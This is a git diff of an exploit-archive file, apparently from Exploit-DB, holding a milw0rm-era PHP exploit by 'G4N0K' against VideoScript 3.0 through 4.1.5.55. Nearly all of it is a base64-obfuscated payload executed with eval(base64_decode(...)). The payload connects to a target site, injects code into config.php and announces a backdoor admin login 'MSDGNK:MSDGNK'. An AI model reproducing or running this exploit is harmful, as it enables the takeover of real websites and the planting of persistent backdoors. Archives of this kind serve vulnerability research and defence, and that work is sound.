+			"YVZtVXo3RXI4bDFDOENGN2hyeTd1b3J6RWdSY1dHS2NRVTQlMkZCVVlTNm5FY3RleUolMkY2UTFocmxkQmMlMkZBNjdFMUt3YkM3".
+			"YlpUQnFQa0I0bmN5UURvSHB4QVU2VTdEY0IwaU5OZGZoajFIemZnNFB4MVpud1R0SXYlMkJjbiUyQmdrSDdzdGJXYmtPV1llNUVU".
+			"TFdOOFhVTVltTCUyRlFwajQxdWlEWkVuY3FETCUyQkoySXBoVENwSDQ0QkZITzdaTzlmOEUlMkJwMGxrWXR3OGJoYmEybk9nTWx3".
+			"NzBHT1Z4ejlJbVJUMFY5eE9JejFRUEclMkJVcHJjeFY4VzBLWEZ3M3c2eTdMdkR3MDkyYkk4b1pCNU5QSEpmTTA3MzNWZnZIM3Yz".
+			"YmdodDUwbnNmVmhsUndVbW1NQjhoRVF0WkNrUTE4amQ5bkJ4NEFIJTJCQlRnUjVhazl5ZnF4N21aNTZxa1hNSkRFRjE4Q2FRdWxn".
+			"RTczblBWUVBtTjJvTXlhalhKWSUyRlJXMTJVeXJ3OTBmUWpEOFNlb0wyM2tBMHY1OUVGVEE0UyUyQlFQaHJQMTFwV1AzbjJFUUNE".
+			"SkF5blZWY1olMkZSMjF4Y1FCY2Q5YjVNSGpSVTZBVDdrUWNtN0REdWslMkZGcmpWdFBrb1FsR2hPeXdVUmxyb0ZXNzE3blMwS0Q3".
+			"dU5QT1ZLeWY0bEZ5YVNDcVZWZ1JPSElIaWJTWE1qN1hpQWNaZVd2MHNZWlNIMFJ0RzNndXI2czNpWnpDeTB6bHRIVmhaTjdkJTJG".
+			"NklZOHElMkJjbThkamllUHhvQzdSRUxEMGRJOGdwQTVIWXloWWRJdDJtQXZiTlU4anJnc0xEb3ZNZU1jTThZRlNFeTR4Z3dHa1N2".
+			"cFI3Q0hHbVVTQWtZbU16OWV0SWdnU0pDTk54dDdMWFI1Mm9mSUVObXp6WkNzcllsQ1A1dGNLOWVCbXN2WWpQanpaVHVabzg1V21v".
+			"MTA2biUyQndCSHcycFBVMWh0a2VPQ2IlMkZUUnN1RWwwd0lqbzZKMWpBT1YlMkJlTnRWOGlUT3BBT0NZWlNaNWZ2eVVCRmpqM2JZ".
+			"ZmZNMENCN2VLUmV6TkQlMkZTT1ppbm5oOW5xMkhoaGdPYTY0V05hZlZRdGNzVmx4NWRVSkFMeElCWktLNk02RlY5TEIyTUNsVTFv".
+			"Y3lwM0hlJTJCOTN5Z3JUJTJCOTViNnMwY1ZRZTM1Q3pHJTJCNXc4M0FiMGNXTW8lMkJlTWM2SlROR3gyb3piWXBZcmYzTEQlMkY0".
+			"djU0TDNtM3dtSVBNTkFCT2NFRSUyRmlNZEVWaW9keUdHdFFic1B2RUpSeTlFM3JoUlh3ZTRBMm91cHl1ZG1XTnNMdGhjJTJCb3Zv".
+			"OHZ6Y09UUkI0bXYlMkZuSzhrWjF4ck5wcTJkVlVyYkxjSzh4VmZ0S1VldTVSZmRZdVZYMXZDcFFsZHJUY0Fwa3QlMkJEMmhGQUt0".
+			"NGtxWk1xdHAlMkZOaGhOa3lLS2tDbmpVcTMlMkJ4JTJGMUklMkZ5OUtPcFA1UGdBU05PR29UQVNjM1hpY00ySWtCcnlPd2Y3aWsw".
+			"JTJCdVMxeTJERkx0Nk9XT3d4U055UVlkSUlWaXM4UWc5NnU2ME9ZSlJTaXhYT3RzNGROYVQ4bmozU21UQk1Eb2JvY3JzejhrcDRT".
+			"TTQlMkJoSWRVWEpCY3lFZm4wWCUyRmFZYUNGdXkxdFBhREpQYzlXaFlnaTNNV2xkVUs5cXIyU0xhZWdQUCUyRnRESFl5WjNwb2Ji".
+			"OWp3SU9CVzZUMTlCMTYwRXNIY3Z4S0l5QXV2UUxGSlRQaTNaNjF4WFlldnNvZzA3VmJBaXVwcEdhRUwlMkJRMmVocXpMMjRxN3NB".
+			"cFplQTlsMWlvTiUyRmZvYnZmbFglMkZmVWl6QXNKWlN3MlUxUkxha2RXJTJGR0xzZ0lvb29lV1NzY3Z1bTVvaXJTZm1UTm00bDBx".
+			"Y0pWclBvcjhSU3RyZCUyRnFyOFR6RWVIVklEUzVRdTd0WVVrSklBcFVSU3ZxM3VLejdyb2ZiJTJGdXNuWjQxSDN0eFVraU8zUFVx".
+			"WUhUcWp2TFhpdjBjY0NLUkV1ZVJndERUeUVJckR2ZzVWMDVaQjglMkZKc3ZOQXJGaXl1Q0x4ZURFMEUxeVNVeSUyQnBBY3ZyRXdl".
+			"aFpxT0kzY3dBTkRRcTg0YWdadzAlMkZQMldONVpMNmFWNWZnTWR1RXZCYzVvTklUcG5tOTV6VW1YOTJWMmxRWGQ3VU1KR3RaQk1t".
+			"bjJoSTlQWWZZJTJCZGxRUXY2a1NlNyUyRllNS2c2JTJCenhNQ2UlMkZEbnEwS0FvSUMyQlpib296SnpEdzVhT0NBdWdNbnFkZ0VK".
+			"TzhHbU1GQW9xMHNpU1FqTU5FNCUyQiUyQnlCYyUyQnR0OGQ0S2FkVUM5aHp1TkJsRkIlMkJGdnk4dUNFa0pUakd2aHRUZVV0Y1R0".
+			"bHElMkIlMkYzWnhGMVFjZHolMkZnS0hHYmpYZkNVc09HVU1pejdHMjZlZU1oRDR6dkVnZW1Ja01qVm9laiUyRiUyRkpMTzRUSFJr".
+			"MzJ5eXNmSFQwNjRMdlhQd0I2QmFsJTJGVWh1eEpLc2I1MGI5UEZhVjZHbm14bE4lMkJWZUllblV1Wjg5dWFPWWdkQ0N1a3dpb1Rx".
+			"JTJCcGVCVVY1VVZmZnBRVnlydjJIUEJVNzgyRFUxaiUyRlpIN3plQXpLRUdITm9SWFklMkJsSyUyRkx3VUVDWUczaVlTZ0E4MkYl".
+			"MkI1M2hKMCUyRnUwRDdOeiUyQiUyRll3SXNYNXlHc2VQWTd2ZklkelNXbGc3N2JPS2hwS2hrS3FtMjdpYllCdko5NW9jMzR2ZVhS".
+			"ZzZsdks2OWNuS1J5Zm5lOGJjNiUyRiUyQlU4TDBjU0hKS1BuY01DMFBEZURFSXo3NlZXWlVGWjkwZUl2eU9zbXBwQU5OQkdKUk9G".
+			"T2F3TkhRcnFleWpSRzdVWGxOc3hUWk5hRTJRY21CMmdqdUdNcHRPUW9YY3FqR0lFSFI4OU94SUl4eUglMkZkVTNiQmZjeSUyRkpy".
+			"NTlQbVZlQWt0d0k2dG9TWnBrS293OURtUGRwUHpVOElOMzB5V3RmWE15SDY2MGZlbyUyQjViUkU1VnRtaWZOSVBpMjFpZjU4ZjRZ".
+			"bkZkQTZaQThPckdXckZDdWg5UmphNmxUenoxUHkxTFNPbElJekdNNXdvb21vZE5oVm9tRklRQUJzMTIyNzJNNnplaEZmajEzSHc1".
+			"SU85eWVwbTlIR2dpNTFMUm5iS1dZJTJCV3pBRWpOZDhqQ1l5NVZCaGc0ZmcxSlRPc2pLM1UycDhTTGFMWCUyRlhCQUl5bDZ2Nk5w".
+			"ZDVpVjdyaVd6Q2VWOVh2dzVoU29Ld0dCS1BhS1l4RTRkYjVJOFlOREZsSUJSN3RWTjJFbkp3VzRyeEtzYVRJV3JCMjVEZUMlMkZT".
+			"YmxJMERBTGpiWiUyQkFhaDFueUFCV00yeXZHVTdNS0Ryem9KaWMlMkJnRFBZJTJGeU5XRUpwbW44VU9HMGlmb2YxNlpjUGhNdnVw".
+			"MkIwbzZIbyUyRlBOdHExSkVuMmRIVmVPamZaOHZ1WWM3YkYwcnhqJTJCbnU3WFN4WmpIZHBIUFVFWmFPM1ZLMmo0NHZEa3JRcVQ3".
+			"SVQzeWlUS0J5eG9XbE91RkQyazhlaGdnRGtzYVlIV0FiOUZYUnlXdFliNEdHMXZGVnRTS2luSm4lMkJYdkw0YTZpaVJCN3RCTmFB".
+			"NzFMV0RhckpLcVZacmQ2alhRU0JlRkp3ZVFWazFjWGUyVlM2RVVSYnN6dUl5Wlo5RmlnTEZCamJIRlklMkJMdWxyYVFCMVBhNmgz".
+			"QWhSUUh2QjVlJTJGS29mRWxXd0IyNSUyQmpYam1FcnRTNENJY0tzRVdBWkZMQXNpMzYyUkNxcVElMkYyM0d6TzhMZ1ZMWVNlSHNR".
+			"Z1F5enRqdDFwTE9HajVoME5DUGJXUW54anFhaGROU1VqVkxRM2pOcjhBM29TUFRFcnNVTEhHbFBWTzNPRktiVEZPU3YlMkJFaldi".
+			"OXElMkJRR1lGT3ZXdERVcDFYUlVZeGUlMkZKQXhHUWRrTXQwM1I4UG1NOTglMkJkWmxTOE1FVHRzT0ZXSWo1WSUyRnRTMXFLY0pw".
+			"Z2MlMkJFYjVwMGRRbiUyRiUyQkozcU5DU3B1ZDg0bGNNYnY5eWhQaVdjOFhWVGM4NWpsWFRkclNDbG9kR2JYa2JVMlJRZGwwVXhL".
+			"cjF5UmtjRSUyQjlMb0ozdnczYXVwcEdRU1BOREtha1NEZVp4N1UxelpEc3FTWEtEVldMWFdOdDQwYUJ3bnl6UnBKcGR4MmdKdE9X".
+			"UFpCWExvNDNXTThqVnkxWTNlR2FLOVBVU1E4VnZtWmtFVDhPZjVQTDg4YmN0VndFcDUlMkZIeDZmRGw5UW1hSGNzTGxVbFA2UVpP".
+			"dFglMkY2WUxLT2NickVDWHNKbGxNYVR0VXB0JTJCYzZCUEpYVWZubkhDMFhMWDBMMGV0Y3dxUHozbTBFQUNPbXRnd2FKMEZnOXk0".
+			"dTYlMkJTRGdUUFBmSmdOMEFVT1owcjhuSTZjSklZMHNyJTJGNFElMkZLZTJyaXE5dHN3YyUyQkpaOVFYd2tCOXlnenphY292NUVY".
+			"OHBNejZ5eEJtbXhpYjlONjZoUkExbENGMkMzRHdNU2RTVHo2eGZPT2xiVDZheXolMkJ1STA4YlkwMUhBNlowJTJGRk1DQmY5Mlp2".
+			"UDNJNkpNJTJCeDZkS1YxQlkxOThWTDZVN21YZkNnMDROMlAlMkJjNVowWTRGQ0hTaDJNc2phSG05VkJvM05XcDI5ZVczOThOdnIx".
+			"RXdram1mbWlpYklQTXVrVkRqJTJCa3c4VTdwaCUyQlBNNk82ajJZSkFRa3dkYXNHMTBwcHV1ZXptSVBHWFQxNzBnZmMlMkZhcWVD".
+			"aGo1WG8lMkJoVjhDaHZLMk5lUmxPQkZHTHJNTDNWb0t4NWJmMjhLZ2owNmhSNUo1U0RxTVNLdWFlQkg3VUpwY0FLSWg5R0ZvWXJm".
+			"YXZDRXJvcUJib3pzNWh2Q0hDSTFyZndIOFR1RjdVa0g5bFRMWmdVb2ZJQUtmSkZVWlpOSXNxeDVreERDOHlYZk1mNjBRQU8lMkIl".
+			"MkJBVFFjcUtiWCUyRjdSMXhRclJEcVJ5ZnJNMU1vUEdNJTJGY0hrNE4waWVHYWxpb3RtaUxTN0syS1IxWDJ5WEwzUW1sV1lySlRp".
+			"VVByNVZkdWJsZmRXRFJWcGJoJTJCNjVJdk1rRTRhVzl3MlVaa1dwb0wlMkZUdlpBeElmVUdDVngyYzhuaGJtSTFSckJrMm5EcXcl".
+			"MkZabHMlMkY2V250d0FLemhVOEhLQk9Nb3F4MzQ0UlljN0FOQ3FPVzVMQzBFVWt6SDNvVUQ0cXlZVGszckFLMkVMJTJCcnhxbXJW".
+			"cWYxaCUyRnE5dkNvWW1rd295ZWROdyUyQiUyRm0yclB2M3Q0MXhrTElCMG5CdUlOemt3OHBQS3BKUnBZME4xSnZObnNNeUlDcXMy".
+			"WFQlMkZLJTJCZXcwTUVwV3pHUlZyemFtSnFiJTJCY29GYkhydGE1eHNUdHZIQjZGYWJUSzBmeGpoZVdocjN5SmNhcGFKN1dyelB1".
+			"aG9FbmthN3FqaGFHcWRZWWVaZGpiTmZtcHR4dW9aaUIlMkJVMklNVXdLVjV1Vlc5M3p4blp2ZG03UjlWRHRudkhkOFdSaVVnQmNP".
+			"NXZVOEt6a3dvVll6NnhWNlBCJTJCb3FLTzZOUUpsS1ZWN3dRVWpMQXJLQ3ZaTGd2dGtBU2g0ekkxeDFwYTlXSE80M2lKRUJEWWcz".
+			"Y3dTa21id0FROWFLYmRyOGF0VTMlMkY0cUNaVGtZT0E3QXRzV2xYUkdPRnVtQ3ZQdzBMSVRUOUs1bXVXUmdkM3FQZmJqMzJDdmtq".
+			"V3J6VTNMZFhmSCUyQiUyQjQ2Nk4xRHIlMkJwS1VCZEE3MU4yYiUyQktiZ3RaWkwyZzI5SDVmMzVkbkhiNyUyQldENU1VaFlPZ2pz".
+			"VkpQZGVaNmlYN3lnZ0xmTmJMeEtidWM2MGFjJTJGbm1aMDRmOWNwMjVOUzR5dFZPR2JNNjlueDZVVjc0eFhHNFpIN0Nqd0xsTnIy".
+			"ckI4c3Z0aU01aUVZWnBVQjZQb0gwWWRnSGVkbnFESENPdWNuOFVGMkNZVlIzZHNQbEc3T0p2UyUyRnFqQTFlN0xIQ05jTjZaZk41".
+			"OGFRR29pWlNPbE4yYjJBaDRmNUFnbjV6ZjNHb3R1VlVsRTJBNlFVYTJ3UEhlWWZlWXBJdWhDRDlQaXVLc3YwZ3pES2ZrZTZnJTJC".
+			"TlFDdWMxeHV5T1FEWEolMkZSS1NCMjhhMmJZbGpUVldxMkZjazE2RnBkbUFNaGJqJTJCaFA1UG13TWtzcHBmTmE5RmZ1OWxlVVAl".
+			"MkZiWEFJcFhaVEhzbzdhbmVKeG80SVV5VnhMaFM0S2lxVjhyR0d0WUZjQ1VRUTFqRXFPS2xCa2RQbTBzU2ozOGxrcnMlMkZFYnhU".
+			"ZFp4JTJCM2dnMjglMkZEJTJGTm1YS0tJeUVKQk5jTEptR01lM2clMkYwblhteFFTMmtrWCUyRnhUWHlqZ2JrYjZFNHA1WlVvZkh3".
+			"YXVCb2ZmOVZTd0xoNXBqVFBmc1JqV2VJRWVjWm1FMWVUM05ZYThmZktUU2dPaDVMMjlmT01BdnM5aEFwZEpoR3BTQ3NnSHU1NVcz".
+			"JTJCcTBOUDRkVnpGQ200MzRVbFRSMWRpc0pWJTJCb1gzbzRYS3g3ZlBBWXhTallFck1IJTJGMkZxVEh3ZDlQbmdHcnhweWlBakFL".
+			"ZnJOWXhWcDJ3aFh3V0NBdkY1RU4lMkZNakV4eXMwMVpveUVwVEZRa1pIcjBZWjhXNGhHNHNCNkxOaWQ1SndSNUtvQTdWQWtDJTJG".
+			"MHo2R3ZhTjN5M2JzcEN1Z3M5RE4lMkZ2JTJGdHFLT3A0M0ZKMVkwM3pNUzlYJTJGN2pCbzBEbnh1eWZYUnF0REx2a0JFb3hVZUp2".
+			"WjlRMmtNVXBiNjVHcDhnZ1B3Ym81bms4RklVb2JMblYlMkJXckJPa0t1cDRGMnBiV0tsaFIzYTdnR2RqTmdxSUglMkY3UDEyQmU4".
+			"YjhSanJudmJXZlpQaGRiUlFBQWNyaDNsS1JOVFNqMHd0RDFDdlpzQk1DMEtTR1VPNHVqRWJkVG1aY241ZldWZ05selp4b2EyaSUy".
+			"RkpsYW5pOVgyTU0yM1BqRkd1NUwlMkJLWG5vUFNkNm05YmFCekEydnNTdTZsY0NYaFFObjZHM24wNnA0NDd6dXVBM3RzclB6NTBL".
+			"UktJWFVLMm42SXJPdUpuWk1FbmtDWHd0T2U3YzVJRlVwZmdkOGpiczU0aDYlMkJnRmMyWVBuejF6Y0MwMERBMXpQUVJjNklpdTdT".
+			"UVpHbUJmeUxtUUlZZ2pLek5oZm10dVNidnJwU3N1bEswNk5iak5KQ2tHQjMyNENISUtLTTh6blAySmZhYVZwd3dBZDFqUlpXTnVG".
+			"TnBSVDJ4NFYyTmJUZmxvcTBGVVZrWFBTMEN3UUNMMzRScmt5M2dCUkpGNjlPWXZQWjZwVTFmck5WUmIxdmE1M0ZqUzFRR1hRd3hN".
+			"U3RaZGp6QUNRbjdZNjNrWDJnUnNibEN0MmYxV3NrZkZ5cGVZWmpzZEtzQ09IUEUwdjl1dlNhT3FjS0ZyMiUyRkZyTFQ4SVJ6TDVm".
+			"TUptU3NrYk04eDd0JTJCVmhlTEJEUDlXT2lRbzlXTmhEbEpOczFNVTlIa0k1aGpJQXVqWTJpY0Mwc1Fud0JHeGdOR2Rzc09oZFNx".
+			"Y1drelA3YzA2WlNIZzM4UFV1bVlNa2hsdHVkQ0Z1Uk91UWJ4czRYQkJDMzJGbjNTcXJYZVgxSW01VllPQjVaOGczRjZjd3lUdEVQ".
+			"ajc4TmV2SHFzdVdiRExIbHVWQ3dMaVRTQzgxb1N2TEdUJTJCME5GZzNYOFR0VG1VaWFmWFpPMktnWldCYWFHMldoQWFuQyUyQlNJ".
+			"TVd4WmROUjUzakJEQVBGOENyNHJKd2tuTmk2JTJCZHVsOVBvdUVScTN5YXhNZjliZHE4bE4lMkZFVjRYa1J1YmZGMEppMEVBTWdV".
+			"YzJwdUVVS3R4JTJGU25YTzhBYzhsZEpiTXFsWkdiTVR2M0wzZkx1UEhsbHFQUVVIdSUyRmtoNkkweWxvVGgyQkJ6bHlnSkE0MW4w".
+			"blklMkZEZWhUblN1ODVuTnhqejM4U05Na2xiSVlyZmlxbUtiODI3REkySmtOWVlxSTIlMkIyaWw5Zk8lMkIwbFUlMkY3RTlVdDN1".
+			"ciUyQjRqazZ1Y241eG5oeTk2czB6UmxYaVlQVjhNdENIcEExUG5lZlJMWVZaeU05dXZ1VkVJNW5jdVpBVm5UWDNmckQlMkJ1eTI2".
+			"QmtkZWJkZGFHYUtwbDh2aDA3cFVCREZtZE8xY2glMkIxMlclMkZZRmpCS3AzUjI5JTJCaW9mMlVxeldWV0ZrUlptTnYxS0VRWDFS".
+			"b2JrRnRJc1NLTSUyRjhIU2x3dWM4MFpZNVNjVVd4RTdodUxzR2Fjb2FLamJWaFE0eEJ5Y2dLOEpIR0lqZHFJZVJaaiUyRmY4MU1i".
+			"U1FBRUI4VmRubyUyRlZHR2gySDNLWEhTMSUyQnVONDR6VkxKSFBxdmlHa29kbHI0RkVLemJPcTcwcWRYTHdIVFlmcnd5eTFKT21N".
+			"WGtGelNvUGM5d1NLJTJCJTJCMVRrNUVUM1IlMkI5WjducHBINUJKMyUyQkMlMkY4dTRseVNzVWplTG9EM2VzeTFiOU1zVGZWUkdO".
+			"dTV1dDF2RHdxR3M2NiUyRlB1cHdGWmVhbnJ5QkVvT0pBVjQ0SWV5SlFSaDdKNlBLQ1FGaEFVcFZNZk92JTJCQmpSeFBGN3FJTlk4".
+			"Mk9zeWh6RXdNYUNEVDNrWW03OE9ReUtpSHNMVkRWWCUyRktNYVYyZ3NqZ0hNZWNUcEJZZE9HenJVZ0ZyTmQyTERLdnlkR0lsQWxV".
+			"M2J3Snd0MFZualQ2T1BnRXoxUmdENnZmYVZqUVk2ZTA4U3BFcENiaGh1SVJmdGNiMGo5aFUzUzJld29OdWVFZ3R1ZnoyQlFpbVh2".
+			"R1pzdHhGakc4c091d05LQnBLdFElMkJLTENwaDZXWnV4YlhsNmlrblRLUmFQVnBPZnladWh5VzM3Z3hSMHJselp5SVolMkJsVnVW".
+			"JTJCTUJhb0tmbnlOM3loZk4zbUptaGR1SUQ1VWtGR1JkMDBMb2tpblFQTUxhdXNxWHVrb0Ewd3A5S1dPSGdZOVFQSjlGJTJGYmxj".
+			"JTJCa0hvUHZzdXVwaElQZUZ6dHBzJTJCY2loZmx6VlRkbFdWeVhlQ3YzRU1HenNidm5oTkglMkJuY2dWbFUySmJ5b0clMkJ6SExq".
+			"bWZJSHppZ3ZqN3VUc0xSY1RkZmNkTmJlekZnenQlMkZ1TFpkYXBmUXIzN1JBczJxOVZMQVFiQXowUzNSWGcyZzElMkZ1RG5Lb3gx".
+			"ZVpSZXEydVBzTjdFZnZCbjNlT24lMkZOMEREMm5MQVZGcEJYbyUyRjY2ZWU3SnMlMkZDME9UOUNyJTJCRHpQZWxLY1FUODklMkJI".
+			"OWV0WmRxbWpJdGpFQThLSnY5NTdGajhmNU1PRHpSRGhyb3klMkZCY1pZdzlvQ2szJTJCS0xhUHRhRmQzQ3BxM05qUUdMR0JVa0E4".
+			"NE9kMyUyQlhKV25vMTVKZ0VhOFV3UUFtWXdXODA4N1hHMnElMkJYRkJNQkxCNHpwVnR1T2NRUFZXWXVGUEN3WDdEeTBxZ01ESW94".
+			"Rm9rMTd2MVV6QmZYNkY4TktrSEdTZXAzOW9LbXBCWkRMTXlaUldIRUxRdGdzcGtXanJjWkxENFBOY0xxdVgwM2pDUWJ0QnZ6MEhx".
+			"R1glMkJNOGpLODBHaWpyY1FRcVRBNmdUSkI5Sng5YWx0Y21kNVdjVTJUb0l3U2Q5WXpVM2dTJTJGMjdDdmd5dlJYNTZPelhka3Yw".
+			"c3UwTldMRVFCZEpHc2taOFBCT3FvWklIUmlJZHZNaFlWeURiMUxWdHJVJTJCQWY2NWZtUCUyRkw1d1FDNjVsN2daSWxnWklmT0ky".
+			"ZDFrdUNLMEhZRWt1MG5pUDJBYyUyQk5Ea0lBaSUyRnJuYjd1RTBRaHRnZG5YVXRFR2lQa1hjVmk2V3BuQ0h5cllSNGZWJTJCR3o3".
+			"eW1JMWRLdER2QWU2Wm5PSDRGZG9kNUlEd2VRQm52STElMkJNREFrSjklMkJpdnJzeTNGRlhTWDE1dWFsSnZvR2NYRFNCcHE1Y3hI".
+			"U2t2SlRkV1MwY1dXbFRXaHVCJTJCNXQxR2JHeUtndlVqRHlHTGhaUjVab2VFNnVvdjRBeHVORnEyc1BXeTcxNkp6RWY3UUEyRnRp".
+			"b1JNeVBxWXhSM20zSnJnbE01NzExOGphUnhhU0tQRTFQQjJ2RVFIY1B2aGFaOUNNRFNlYklrJTJGRmJBekFxUmpGRzZrRTMxclpG".
+			"YjNqN1NyUGp4ejRGTUxkTEdYSk4xaTVmdnBxT2d5JTJCTklHWiUyQklhUFdjJTJCMUZMWkoweTVqUndlVFFycnphRmlSY0ZYYkFr".
+			"RG8wd1lmVmNOZjFSTk0wenNDMDJvNnJzUzVwMVYzbjY2JTJGUUNqUk44N1JyUlU2VHZ5MU5VaFFJZ29WbFdlOHY3dnozMyUyRiUy".
+			"Rjk4ODglMkYlMkYlMkY4UCUyNyUyOSUyOSUyOSUzQiUyRiUyRiZkYm5hbWU9JmRidXNlcj0mZGJwYXNzPSZTdWJtaXREQj1TdWJt".
+			"aXRcclxuIjskcmVzID0gIiI7JGF0dGFjayA9IGZzb2Nrb3BlbigkX1BPU1RbInVyaV9HTksiXSwkX1BPU1RbInBvcnRfR05LIl0s".
+			"JGVycm5vLCAkZXJyc3RyLCA1MCk7aWYoISRhdHRhY2spe2VjaG8oIjxiciAvPjxiPndoYXQgdGhlIGZfX3VjayBhcmUgeWEgZG9p".
+			"bmcuLi4hIDxiciAvPlN1bXRoaW5nIHdlbnQgd3JvbmcuLi4hIDxiciAvPnNyeSwgTm8gZXJyb3IgaGFuZGxpbmcgQCBhbGwgOyku".
+			"Li48L2I+IDxiciAvPjxiciAvPjwvZGl2PiIpO3JldHVybjt9ZWNobygiPGRpdiBzdHlsZT1cImZvbnQ6bm9ybWFsIDhwdCB0YWhv".
+			"bWE7cGFkZGluZy1sZWZ0OjUwcHg7XCI+WytdIDxiPkNvbm5lY3RlZC4uLjxici8+PC9iPlsrXSA8Yj5TZW5kaW5nIHJlcXVlc3Qu".
+			"Li48YnIvPjwvYj4iKTtmd3JpdGUoJGF0dGFjaywkam9rZSk7d2hpbGUoIWZlb2YoJGF0dGFjaykpeyRyZXMuPWZnZXRzKCRhdHRh".
+			"Y2spO31mY2xvc2UoJGF0dGFjayk7aWYgKHN0cmlzdHIoJHJlcywgIkhFTExPISIpIHx8IHN0cmlzdHIoJHJlcywgIkhFTExPISIp".
+			"KXtlY2hvICJbK108Yj4gRXhwbG9pdGVkICEgPC9iPjxiciAvPlsrXSA8Yj48Zm9udCBjb2xvcj1cInJlZFwiPlNoZWxsIEluamVj".
+			"dGVkLi4uPC9iPjwvZm9udD48cD5bK10gPGI+VXNlOiBNU0RHTks6TVNER05LIGFzIHVzcjpwd2QuPC9iPiA8YnIgLz5bK10gPGI+".
+			"TG9hZCBhbnkgcGFydCBvZiB3ZWJzaXRlIHlhIHdhbnQsIGl0J3MgZnVsbHkgaW5qZWN0ZWQuLi53ZSBpbmplY3RlZCBvdXIgYzBk".
+			"ZSBpbnRvIDxiciAvPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO1wiY29uZmlnLnBocFwiIGZpbGUgd2hpY2gg".
+			"aXMgaW5jbHVkZWQgb24gZXZlcnkgcGFnZSA7KTwvYj4gPGJyIC8+WytdPGI+IGFkbWluIHBhbmVsOjwvYj4gaHR0cDovLyIuJF9Q".
+			"T1NUWyJ1cmlfR05LIl0uJF9QT1NUWyJwYXRoX0dOSyJdLiJhZG1pbi88YnIgLz48YnIgLz48YnIgLz48YnIgLz48YnIgLz48YnIg".
+			"Lz48YnIgLz48c3BhbiBzdHlsZT1cImZvbnQ6bm9ybWFsIDhwdCB0YWhvbWE7Y29sb3I6I0NDQztcIj5FeHBsb2l0IEJ5IEc0TjBL".
+			"Li4uPC9zcGFuPjxiciAvPjxiciAvPjwvZGl2PiI7fSBlbHNlIHsgZWNobyAiWytdPGI+IE9vcHMgLCAgc3J5ICwgIDx1Pm5vdCBW".
+			"dWxuZXJhYmxlPC91PiAuIC4gLiAhPC9iPjxiciAvPjxiciAvPjwvZGl2PiI7fWZsdXNoKCk7fSBlbHNlIHsgZWNobyAkRk9STTt9".
+			"DQo=";
+		eval(base64_decode($G4N0K));
+?>
+
+# milw0rm.com [2008-11-24]
diff --git a/platforms/php/webapps/7212.php b/platforms/php/webapps/7212.php
index ef8405dde..023a4ae77 100755
--- a/platforms/php/webapps/7212.php
+++ b/platforms/php/webapps/7212.php
@@ -1,827 +1,827 @@
-<?php  
-#=============================================#
-#=    [x] VideoScript 3.0 <= 4.1.5.55 Unofficial Shell Injection Exploit   =#
-#=    [x] by G4N0K                                                                                   =#
-#=============================================#
-error_reporting(E_ALL);
-                                $G4N0K ="JEc0TjBLID0gPDw8RU9HDQo8Ym9keSBiZ2NvbG9yPSIjQ0NDQ0NDIj48ZGl2IHN0eWxlPSJiYWNrZ3JvdW5kOndoaXRlO21hcmdp".
-			"bjphdXRvO2JvcmRlcjojNjY2NjY2IDFweCBzb2xpZDt3aWR0aDo3MDBweDsiPg0KPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50".
-			"ZXI7Ij48cHJlPg0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09".
-			"PT09PT09PT09PT09PT09DQogICAgICAgICAgICAgICAgICAgICAgXyAgICAgIF8gICAgICAgXyAgICAgICAgICBfICAgICAgXyAg".
-			"IF8gDQogICAgICAgICAgICAgICAgICAgICAvIFwgICAgfCB8ICAgICB8IHwgICAgICAgIC8gXCAgICB8IHwgfCB8DQogICAgICAg".
-			"ICAgICAgICAgICAgIC8gXyBcICAgfCB8ICAgICB8IHwgICAgICAgLyBfIFwgICB8IHxffCB8DQogICAgICAgICAgICAgICAgICAg".
-			"LyBfX18gXCAgfCB8X19fICB8IHxfX18gICAvIF9fXyBcICB8ICBfICB8DQogICBJTiBUSEUgTkFNRSBPRiAvXy8gICBcX1wgfF9f".
-			"X19ffCB8X19fX198IC9fLyAgIFxfXCB8X3wgfF98DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg".
-			"ICAgICAgICAgICAgICAgICAgDQoNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09".
-			"PT09PT09PT09PT09PT09PT09PT09PT09PQ0KICAgICAgICAgICAgICAgICAgICAgIF9fX18gICBfICBfICAgICBfICAgXyAgICBf".
-			"X18gICAgXyAgX18NCiAgICAgICAgICAgICAgICAgICAgIC8gX19ffCB8IHx8IHwgICB8IFwgfCB8ICAvIF8gXCAgfCB8LyAvDQog".
-			"ICAgICAgICAgICAgICAgICAgIHwgfCAgXyAgfCB8fCB8XyAgfCAgXHwgfCB8IHwgfCB8IHwgJyAvIA0KICAgICAgICAgICAgICAg".
-			"ICAgICB8IHxffCB8IHxfXyAgIF98IHwgfFwgIHwgfCB8X3wgfCB8IC4gXCANCiAgICAgICAgIGVYcGxvIXQgQnkgIFxfX19ffCAg".
-			"ICB8X3wgICB8X3wgXF98ICBcX19fLyAgfF98XF9cDQoNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09".
-			"PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KCVZpZGVvU2NyaXB0IDMuMCA8PSA0LjEuNS41NSBVbm9mZmlj".
-			"aWFsIFNoZWxsIEluamVjdGlvbiBFeHBsb2l0DQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09".
-			"PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCjwvcHJlPjwvZGl2Pg0KRU9HOw0KZWNobyAkRzROMEs7DQokRk9STT0g".
-			"PDw8RkZGDQo8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxmb3JtIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJtYXJnaW46".
-			"YXV0bzt3aWR0aDo2MDBweDtmb250LWZhbWlseTpUYWhvbWE7Zm9udC1zaXplOjhwdDsiIGFjdGlvbj0ieyRfU0VSVkVSWydQSFBf".
-			"U0VMRiddfSIgbWV0aG9kPSJwb3N0Ij4NClBhdGggZXg6IC92aWRlb3NjcmlwdC8NCgk8ZmllbGRzZXQ+DQoJPGxlZ2VuZD48Yj4m".
